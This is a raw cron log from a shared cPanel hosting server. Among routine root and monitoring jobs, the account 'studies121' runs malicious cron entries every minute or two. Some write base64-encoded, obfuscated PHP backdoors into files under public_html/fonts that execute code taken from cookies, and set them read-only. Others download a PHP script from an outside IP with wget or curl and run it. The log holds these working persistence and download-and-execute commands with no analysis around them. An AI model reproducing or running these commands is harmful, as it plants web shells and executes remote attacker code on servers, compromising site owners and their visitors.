Sep 12 09:44:01 ip-184-168-122-23 CROND[4273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:44:01 ip-184-168-122-23 CROND[4275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:44:01 ip-184-168-122-23 CROND[4274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:44:01 ip-184-168-122-23 CROND[4276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:45:01 ip-184-168-122-23 CROND[4388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:45:01 ip-184-168-122-23 CROND[4392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:45:01 ip-184-168-122-23 CROND[4390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:45:01 ip-184-168-122-23 CROND[4391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:45:01 ip-184-168-122-23 CROND[4394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:45:01 ip-184-168-122-23 CROND[4395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:46:01 ip-184-168-122-23 CROND[4596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:46:01 ip-184-168-122-23 CROND[4598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:46:01 ip-184-168-122-23 CROND[4600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:46:01 ip-184-168-122-23 CROND[4599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:46:01 ip-184-168-122-23 CROND[4602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:46:01 ip-184-168-122-23 CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 09:46:01 ip-184-168-122-23 CROND[4605]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:47:01 ip-184-168-122-23 CROND[4709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:47:01 ip-184-168-122-23 CROND[4711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:47:01 ip-184-168-122-23 CROND[4712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:47:02 ip-184-168-122-23 CROND[4713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:48:01 ip-184-168-122-23 CROND[4815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:48:01 ip-184-168-122-23 CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:48:01 ip-184-168-122-23 CROND[4820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:48:01 ip-184-168-122-23 CROND[4821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:48:01 ip-184-168-122-23 CROND[4819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:49:01 ip-184-168-122-23 CROND[4920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:49:01 ip-184-168-122-23 CROND[4922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:49:01 ip-184-168-122-23 CROND[4924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:49:01 ip-184-168-122-23 CROND[4923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:50:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:50:01 ip-184-168-122-23 CROND[5046]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:50:01 ip-184-168-122-23 CROND[5051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:50:01 ip-184-168-122-23 CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:51:01 ip-184-168-122-23 CROND[5226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:51:01 ip-184-168-122-23 CROND[5228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:51:01 ip-184-168-122-23 CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:51:01 ip-184-168-122-23 CROND[5230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:52:01 ip-184-168-122-23 CROND[5339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:52:01 ip-184-168-122-23 CROND[5340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:52:01 ip-184-168-122-23 CROND[5342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:52:01 ip-184-168-122-23 CROND[5343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:52:01 ip-184-168-122-23 CROND[5345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:53:01 ip-184-168-122-23 CROND[5436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:53:01 ip-184-168-122-23 CROND[5440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:53:01 ip-184-168-122-23 CROND[5441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:53:01 ip-184-168-122-23 CROND[5442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:54:01 ip-184-168-122-23 CROND[5529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:54:01 ip-184-168-122-23 CROND[5531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:54:01 ip-184-168-122-23 CROND[5532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:54:01 ip-184-168-122-23 CROND[5535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:54:01 ip-184-168-122-23 CROND[5538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:55:01 ip-184-168-122-23 CROND[5648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:55:01 ip-184-168-122-23 CROND[5650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:55:01 ip-184-168-122-23 CROND[5651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:55:01 ip-184-168-122-23 CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:55:01 ip-184-168-122-23 CROND[5653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:55:01 ip-184-168-122-23 CROND[5656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:56:01 ip-184-168-122-23 CROND[5847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
